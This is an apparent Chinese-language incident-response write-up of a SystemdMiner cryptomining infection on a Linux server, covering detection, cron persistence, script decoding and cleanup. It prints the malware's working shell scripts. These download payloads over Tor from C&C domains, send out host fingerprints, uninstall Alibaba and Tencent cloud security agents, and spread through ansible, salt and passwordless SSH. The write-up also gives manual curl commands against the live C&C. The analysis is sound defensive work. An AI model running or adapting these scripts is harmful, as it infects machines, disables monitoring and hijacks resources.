登陆到受害主机去查看一下,查看下进程CPU使用率正常,并无挖矿迹象
(要注意的是区分系统进程和木马进程,因为很多木马的进程都是以随机字符名称出现的,例如kswapd1
和kswapd0
也比较类似,但是这两个进程是系统进程,所以不要混淆,在删进程前要先查询一下其作用,其实如果挖矿进程在跑的话,很容易便会发现其进程PID和名称)
通常挖矿木马都会去写一个计划任务,来防止挖矿进程被删掉,这里看了一位大师傅的溯源分析,提到了cron在执行时,会读取三个地方的配置文件:一是/etc/crontab
,二是/etc/cron.d
目录下的所有文件,三是每个用户的配置文件,所以挖矿木马可能会有多个定时任务存在
ls /etc/cron.d/
发现其文件名称都包含uMjSD9OaH5uA4C3CCjD4q2XEwo1s0H0
,直接匹配关键字也可以
find / 2>/dev/null | grep uMjSD9OaH5uA4C3CCjD4q2XEwo1s0H0
服务器中存在两个定时任务,查看一下里面的内容两个文件内容一致,且内容为base64编码,先对其进行解码处理,而且virustotal
判断为恶意文件
分析一下:
uMjSD9OaH5uA4C3CCjD4q2XEwo1s0H0 exec &>/dev/null #不输出出错和输出信息 export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin #获取当前用户的家目录 d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) #获取执行命令 c=$(echo "curl -4fsSLkA- -m200") #C&C域名为fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.* t=$(echo "fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad") sockz() { n=(dns.digitale-gesellschaft.ch doh.li doh.pub fi.doh.dns.snopyta.org hydra.plan9-ns1.com resolver-eu.lelux.fi dns.hostux.net dns.twnic.tw doh-fi.blahdns.com resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch) p=$(echo "dns-query?name=relay.tor2socks.in")#代理域名relay.tor2socks.in q=${n[$((RANDOM%${#n[@]}))]} s=$($c https://$q/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|tail -1) } #在几个目录路径里寻找一个有读写权限的路径 fexe() { for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done } u() { sockz f=/int.$(uname -m) x=./$(date|md5sum|cut -f1 -d-) #用当前时间生成 md5 码 r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)#crontab计划任务执行 #下载病毒母体,随机方式进行命名,通过socket5的方式用relay.tor2socks.in代理访问C&C域名 $c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r #若代理失效,则可采用后面的方法 #例如:curl -4fsSLkA- -m200 fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.it/int.x86_64 -o int.x86_64 -e183.134.110.75 chmod +x $x;$x;rm -f $x#运行后删除病毒文件 } for h in tor2web.in tor2web.it do #检查木马是否存在,若不存在则调用fexe测试执行,接着调用u $t.$h 进行木马文件的下载 if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then fexe;u $t.$h #再次查看进程状态,若没有继续下载木马 ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h) ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h) else break fi done
sockz()
函数通过doh
查询IP,通过这种方法既可以提供加密保护dns查询结果,又可以绕过各大厂商IDS里恶意域名的IOC
https://doh.pub/dns-query?name=relay.tor2socks.in
经过分析,这个样本的执行的总体流程如下:
根据这个样本的特征查了下资料,发现和SystemdMiner
挖矿木马比较类似,特点如下:
tor2web、onion
字符串的域名systemd*
的文件relay.tor2socks.in
被微步判定为SystemdMiner
挖矿僵尸网络并且这个SystemdMiner
是一个变种,除了更新了C&C域名,还使用了socks5代理的方式去访问C&C域名从而实现绕过安全网关的目的,其余的特征与以往其他版本类似,通过上面的分析,知道该脚本会将内容写入到/tmp/.X11-unix/
文件夹,里面存放着的是进程PID
通过PID找一下病毒文件位置
发现病毒文件已经都被删除,查看一下00、01这些文件是什么时间创建的,可以对比一下其他机器的时间,找出最早的时间,方便后面的溯源
看了许多师傅们分析的文章,.X11-unix
文件夹下的文件作用如下:
01 | 文件 | 守护进程pid |
---|---|---|
11 | 文件 | 病毒运行进程pid |
22 | 文件 | 可能为SSH爆破进程pid |
查看一下01和11的进程状态
1.ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status 2.ps -ef|grep 13485 3.lsof -p 13485
01通过 lsof 判断,没有发现有外连或打开端口的现象
再查看11的进程状态,发现有外连
但是较为奇怪的是,攻击者只是上传了一个守护进程,找不到下载的病毒文件,CPU也没有异常,为了防止出现问题,还是先将定时任务以及进程先杀掉,接下来将病毒文件下载起来在虚拟机执行一下。
先按照守护进程下载病毒文件的方式,将病毒文件下载起来
$ curl -4fsSLkA- -m200 fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.it/int.x86_64 -o int.x86_64 -e183.134.110.75
执行一下该ELF文件,发现crotab
定时任务增加了新的一项任务,且root目录下生成了该任务所指向的新的脚本文件
查看一下该脚本文件
#!/bin/bash FBGJOndscVOU2PKZGWF8C6kibWnyHLP exec &>/dev/null export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) c=$(echo "curl -4fsSLkA- -m200") t=$(echo "4t5ypbzi2kko7tqmk6y345ntpmctwj5jmu3cebxsnonsdljyyfs335ad") #C&C服务器域名前缀不同 sockz() { n=(dns.digitale-gesellschaft.ch doh.li doh.pub fi.doh.dns.snopyta.org hydra.plan9-ns1.com resolver-eu.lelux.fi dns.hostux.net dns.twnic.tw doh-fi.blahdns.com resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch) p=$(echo "dns-query?name=relay.tor2socks.in") q=${n[$((RANDOM%${#n[@]}))]} s=$($c https://$q/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|tail -1) } fexe() { for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done } u() { sockz f=/int.$(uname -m) x=./$(date|md5sum|cut -f1 -d-) r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0) $c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r chmod +x $x;$x;rm -f $x } for h in tor2web.in tor2web.it do if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then fexe;u $t.$h ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h) ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h) else break fi done
这个脚本和之前服务器存在的那个守护进程脚本功能相同,但和上面服务器的那个脚本对比一下也会发现有两处不同的地方:
C&C
服务器域名前缀与前面的不同uMjSD9OaH5uA4C3CCjD4q2XEwo1s0H0
,而新的脚本文件中则是FBGJOndscVOU2PKZGWF8C6kibWnyHLP
,与文件名相同对该字符串进行一次全局搜索
find / 2>/dev/null | grep FBGJOndscVOU2PKZGWF8C6kibWnyHLP
发现三个定时任务,查看了一下内容都一致,应该是作为备份文件以防其中某一个被删
查看了深信服千里目安全实验室的文章和此类情况类似,可以从病毒母体ELF文件中逆向分析出5个不同的bash命令,若tor代理可用则可以使用下面的方法去下载出各个模块
curl -4fsSLkA -m200 -x socks5h://92.190.141.62:9050 4t5ypbzi2kko7tqmk6y345cebxsnonsdljyyfs335ad.onion/sshd ntpmctwj5jmu3cebxsnonsdljyyfs335ad.onion/sshd
但由于目前还不会IDA逆向调试,而且tor代理IP拒绝连接(用|
后面那种方法下载的文件的内容也都是下载SSH爆破脚本,如果继续下载的话也是无法访问),就先使用师傅扒出来源码学习一下
逆向分析后,可以发现有五个base64编码,分别用于下载不同模块和执行不同的功能,功能如下:
exec &>/dev/null export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) x() { if ! ls $d/.systemd-private-*.sh; then grep "C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu" $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh || echo -e "#\x21/bin/bash\nexec &>/dev/null\necho C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu\necho QzBQZ0Z6MkpIY3Bzd1ZNT0s3WFNIUW9kRE9yQVdJS3UKZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDokSE9NRTovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmQ9JChncmVwIHg6JChpZCAtdSk6IC9ldGMvcGFzc3dkfGN1dCAtZDogLWY2KQpjPSQoZWNobyAiY3VybCAtNGZzU0xrQS0gLW0yMDAiKQp0PSQoZWNobyAid2FjcG5uc280b3R0eGx5dmpwMmFkYWllYWl2eHgyc2F4b3ltZWRuaWRwM3p5Zm9xZmM1anBxYWQiKQoKc29ja3ooKSB7Cm49KGRvaC50aGlzLndlYi5pZCBkb2gucG9zdC1mYWN0dW0udGsgZG5zLmhvc3R1eC5uZXQgdW5jZW5zb3JlZC5sdXgxLmRucy5uaXhuZXQueHl6IGRucy5ydWJ5ZmlzaC5jbiBkbnMudHduaWMudHcgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgcmVzb2x2ZXItZXUubGVsdXguZmkgZG9oLmxpIGRucy5kaWdpdGFsZS1nZXNlbGxzY2hhZnQuY2gpCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpzPSQoJGMgaHR0cHM6Ly8ke25bJCgoUkFORE9NJTExKSldfS8kcCB8IGdyZXAgLW9FICJcYihbMC05XXsxLDN9XC4pezN9WzAtOV17MSwzfVxiIiB8dHIgJyAnICdcbid8Z3JlcCAtRXYgWy5dMHxzb3J0IC11UnxoZWFkIC1uIDEpCn0KCmZleGUoKSB7CmZvciBpIGluIC4gJEhPTUUgL3Vzci9iaW4gJGQgL3Zhci90bXAgO2RvIGVjaG8gZXhpdCA+ICRpL2kgJiYgY2htb2QgK3ggJGkvaSAmJiBjZCAkaSAmJiAuL2kgJiYgcm0gLWYgaSAmJiBicmVhaztkb25lCn0KCnUoKSB7CnNvY2t6CmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKcj0kKGN1cmwgLTRmc1NMayBjaGVja2lwLmFtYXpvbmF3cy5jb218fGN1cmwgLTRmc1NMayBpcC5zYilfJCh3aG9hbWkpXyQodW5hbWUgLW0pXyQodW5hbWUgLW4pXyQoaXAgYXxncmVwICdpbmV0ICd8YXdrIHsncHJpbnQgJDInfXxtZDVzdW18YXdrIHsncHJpbnQgJDEnfSlfJChjcm9udGFiIC1sfGJhc2U2NCAtdzApCiRjIC14IHNvY2tzNWg6Ly8kczo5MDUwICR0Lm9uaW9uJGYgLW8keCAtZSRyIHx8ICRjICQxJGYgLW8keCAtZSRyCmNobW9kICt4ICR4OyR4O3JtIC1mICR4Cn0KCmZvciBoIGluIHRvcjJ3ZWIuaW4gdG9yMndlYi5pdApkbwppZiAhIGxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXM7IHRoZW4KZmV4ZTt1ICR0LiRoCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC90bXA7dSAkdC4kaCkKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL2Rldi9zaG07dSAkdC4kaCkKZWxzZQpicmVhawpmaQpkb25lCg==|base64 -d|bash" > $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh touch -r /bin/grep $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh chmod +x $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh fi if ! ls /opt/systemd-private-*.sh; then grep "C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu" /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh || echo -e "与上面内容相同|base64 -d|bash" > /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh touch -r /bin/grep /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh chmod +x /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh fi if ! ls /etc/cron.d/0systemd-private-*; then grep C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu /etc/cron.d/0systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu || echo "$(echo $((RANDOM%59))) * * * * root /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh > /dev/null 2>&1 &" > /etc/cron.d/0systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu touch -r /bin/grep /etc/cron.d/0systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu fi if ! crontab -l | grep ^[0-9] | grep systemd-private; then (echo "$(echo $((RANDOM%59))) * * * * $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh > /dev/null 2>&1 &";crontab -l|grep -v systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh)|crontab - fi }
这段代码便是创建定时任务,这段代码共创建三个定时任务
/etc/cron.d/0systemd-private-*
/opt/systemd-private-*
/root/systemd-private-*
而其中的base64代码的任务便是下载母体木马int文件,和上面的守护进程内容一致
exec &>/dev/null export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) c=$(echo "curl -4fsSLkA- -m200") t=$(echo "5ixhieezozxwnvisopgxoba6ssbsrvdpxeduxb4jc6zx7s56rufrjzad") sockz() { n=(doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch) p=$(echo "dns-query?name=relay.tor2socks.in") s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1) } fexe() { for i in . $HOME /usr/bin $d /tmp /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done } isys() { #写入定时任务,并且卸载assist-daemon(阿里云)、qcloud(腾讯云)的入侵检测系统 echo ZnVuY3Rpb24ga3VybCgpIHsKICByZWFkIHByb3RvIHNlcnZlciBwYXRoIDw8PCQoZWNobyAkezEvLy8vIH0pCiAgRE9DPS8ke3BhdGgvLyAvL30KICBIT1NUPSR7c2VydmVyLy86Kn0KICBQT1JUPSR7c2VydmVyLy8qOnKICBbWyB4IiR7SE9TVH0iID09IHgiJHtQT1JUfSIgXV0gJiYgUE9SVD04MAoKICBleGVjIDM8Pi9kZXYvdGNwLyR7SE9TVH0vJFBPUlQKICBlY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwogICh3aGlsZSByZWFkIGxpbmU7IGRvCiAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKICBkb25lICYmIGNhdCkgPCYzCiAgZXhlYyAzPiYtCn0KCnJtIC1mICRIT01FL3NzCmN1cmwgLVYgfHwgd2dldCAtcSBodHRwczovL2dpdGh1Yi5jb20vbW9wYXJpc3RoZWJlc3Qvc3RhdGljLWN1cmwvcmVsZWFzZXMvZG93bmxvYWQvdjcuNzUuMC9jdXJsLWFtZDY0IC1PICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApjdXJsIC1WIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvY3VybCA+ICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApzcyAtdiAgIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvc3MgICA+ICRIT01FL3NzO2NobW9kICt4ICRIT01FL3NzCnNzIC12ICAgfHwgY3VybCAtcyBodHRwOi8vMTM5LjU5LjE1MC43OjQ0My9zcyAtbyAkSE9NRS9zcztjaG1vZCAreCAkSE9NRS9zcwpwcyAgICAgIHx8IGN1cmwgLXMgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvcHMgLW8gJEhPTUUvcHM7Y2htb2QgK3ggJEhPTUUvcHMK|base64 -d|bash crontab -l || yum -y install cron crontab -l || yum -y install cronie crontab -l || apt-get update && apt-get -y install cron /usr/local/share/assist-daemon/assist_daemon --stop /usr/local/share/assist-daemon/assist_daemon --delete /usr/local/qcloud/monitor/barad/admin/uninstall.sh /usr/local/qcloud/stargate/admin/uninstall.sh /usr/local/qcloud/YunJing/uninst.sh /etc/init.d/aegis uninstall systemctl stop aliyun systemctl disable aliyun systemctl start cron systemctl enable cron systemctl start crond systemctl enable crond rm -rf /usr/loca/qcloud/ /usr/local/aegis/ /usr/local/share/assist-daemon/ /usr/local/share/aliyun-assist/ /usr/sbin/aliyun-service /usr/sbin/aliyun_installer /etc/systemd/system/aliyun.service } issh() { #利用自动化运维工具ansible、salt、pssh、knife写入定时任务 ansible all -m shell -a 'echo blU5V2FnalE4QmVuV1BYdDBvdkUxMnVEOGpCSXR2NgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLnRoaXMud2ViLmlkIGRvaC5wb3N0LWZhY3R1bS50ayBkbnMuaG9zdHV4Lm5ldCB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyByZXNvbHZlci1ldS5sZWx1eC5maSBkb2gubGkgZG5zLmRpZ2l0YWxlLWdlc2VsbHNjaGFmdC5jaCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgkYyBodHRwczovLyR7blskKChSQU5ET00lMTEpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfGhlYWQgLW4gMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash' knife ssh 'name:*' 'echo 与上面的base64编码一致,都是守护进程|base64 -d|bash' salt '*' cmd.run 'echo 与上面的base64编码一致,都是守护进程|base64 -d|bash' pssh 'echo 与上面的base64编码一致,都是守护进程|base64 -d|bash' #从bash的历史ssh记录中尝试去登录远程设备 hosts=$(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |grep -v ^127.|awk -F: {'print $2'}|sort|uniq) for h in $hosts;do ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no -l root $h 'echo 与上面的base64编码一致,都是守护进程|base64 -d|bash';done for h in $hosts;do ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no -l $USER $h '与上面的base64编码一致,都是守护进程|base64 -d|bash';done } ibot() { f=/bot r=$(curl -4fsSLk ip.sb||wget -4qO- ip.sb||curl -4fsSLk checkip.amazonaws.com)_$(whoami)_$(uname -m)_$(uname -n)_$(crontab -l|base64 -w0) $c -x socks5h://$s:9050 -e$r $t.onion$f || $c -e$r $1$f } iscn() { pkill -9 -f tracepath f=/trc x=./$(date|md5sum|cut -f1 -d-) $c -x socks5h://$s:9050 $t.onion$f -o$x || $c $1$f -o$x chmod +x $x;$x;rm -f $x } sockz fexe isys issh & ibot $t.tor2web.in || ibot $t.tor2web.it iscn $t.tor2web.in || iscn $t.tor2web.it
这个脚本的作用是先将阿里云和腾讯云的入侵检测系统给卸载掉,然后再利用自动化运维工具写入定时任务,最后就是下载两个可执行文件,一个是bot
,一个是trc
,其中trc
文件用于Hadoop Yarn未授权访问漏洞利用(内网横向移动)
病毒母体执行后会下载cpu脚本,以进行挖矿,手动下载一下试试看:
curl -4fsSLkA- -m200 fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.in/cpu -o cpu -e183.134.110.75
手动执行挖矿脚本的时候要先解除文件的锁定chattr -i cpu
,再赋权限运行
但是在本地也没有运行起来,缺失一些配置文件,可能是因为前面的模块有的没有下载导致。
exec &>/dev/null export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) c=$(echo "curl -4fsSLkA- -m200") t=$(echo "i62hmnztfpzwrhjg34m6ruxem5oe36nulzmxcgbdbkiaceubprkta7ad") sockz() { n=(doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch) p=$(echo "dns-query?name=relay.tor2socks.in") s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1) } u() { sockz f=/cmd $c -x socks5h://$s:9050 $t.onion$f || $c $1$f } ( u $t.tor
病毒母体执行后会下载cmd脚本,用于当主机网络无法连接到矿池时,会结束掉自身的挖矿进程,增强隐蔽性,但是tor代理失效,暂时无法下载
curl -4fsSLkA- -m200 fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.in/cmd -o cmd -e183.134.110.75
如果用这种方法下载的话,很奇怪会得到下载ssh暴力破解的脚本,脚本内容也无法进行下载查看
该木马通过bash命令下载执行多个功能模块,通过SSH暴力破解、SSH免密登录利用、Hadoop Yarn未授权访问漏洞和自动化运维工具内网扩散,且该木马的文件下载均利用暗网代理,感染后会清除主机上的其他挖矿木马,以达到资源独占的目的
通过看师傅们的博客和自己的测试,对目前这个SystemedMiner挖矿木马也有了一定的了解,木马执行后,会下载一系列的模块和可执行脚本,用于持久化、内网横向渗透、挖矿、命令控制、清除一些入侵检测系统和其他挖矿程序,但需要使用tor代理,之所以服务器和虚拟机只有持久化的脚本(守护进程脚本),就是因为病毒母体启动后,tor代理失效,无法下载其他模块和脚本,也就只有一个守护进程脚本。
在了解了SystemedMiner挖矿木马感染机器的过程后,防护便一目了然了,它做的主机持久化控制便是通过写定时任务,而定时任务是下载病毒母体并执行,就这样循环来控制主机,所以要清除该病毒文件的话:
crontab -e
移除/root/systemd-private-*
,然后再删除/etc/cron.d/0systemd-private-*
和/opt/systemd-private-*.sh
文件/tmp/.X11-unix/
文件下01
、11
获取其PID,使用kill -9 进程id
,杀死进程/tmp/.X11-unix/
这个文件夹可以进行保留,防止黑客重新写入,但要设置好权限,若服务器中运行了其他的一些模块和脚本,杀相关进程和文件,重复上面的方法即可#chattr +i [file/directory]使file/directory无法被更动 chattr +i /tmp/.X11-unix/01 或 chmod -R 000 /tmp/.X11-unix/01 #查看文件夹权限 ls -ld /tmp/.X11-unix/
需要注意的一点是:
这些文件夹其实是系统自带的,主要作用是存储临时文件,只是该挖矿木马利用了这个可读可写的权限,将内容放在里面,在进行清理和溯源的时候要注意区别。
守护进程样本hash:
MD5 d61b3ba654ad546cc49d5ace7de0e309
SHA-1 ca852b6b7f5e52a17661456ae37e0e6009c87ac3
SHA-256 7de2aa89cb2f2edf06418ad39d6c516c25bb52a5d1bf62332b0892bc2fa1c3d4
远控样本(int.x86_64)hash:
MD5 7308d194a75c13e464d4a8cc8094bca7
SHA-1 389889090811fb2a4063d03c0ecafb33b8c68b12
SHA-256 7834430c0d7953648e906a679ae6e92d6807305220639df41bff72dceb09e94f
fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.onion
fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.it
——C&C域名
fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.in
——C&C域名
https://www.freebuf.com/articles/system/233138.html
https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=144683
https://www.freebuf.com/articles/system/225146.html
https://hksanduo.github.io/2021/11/08/2021-11-08-systemd-miner-analysis/
https://www.freebuf.com/articles/web/279000.html
https://zhuanlan.zhihu.com/p/370493577
https://www.codenong.com/cs106872151/cl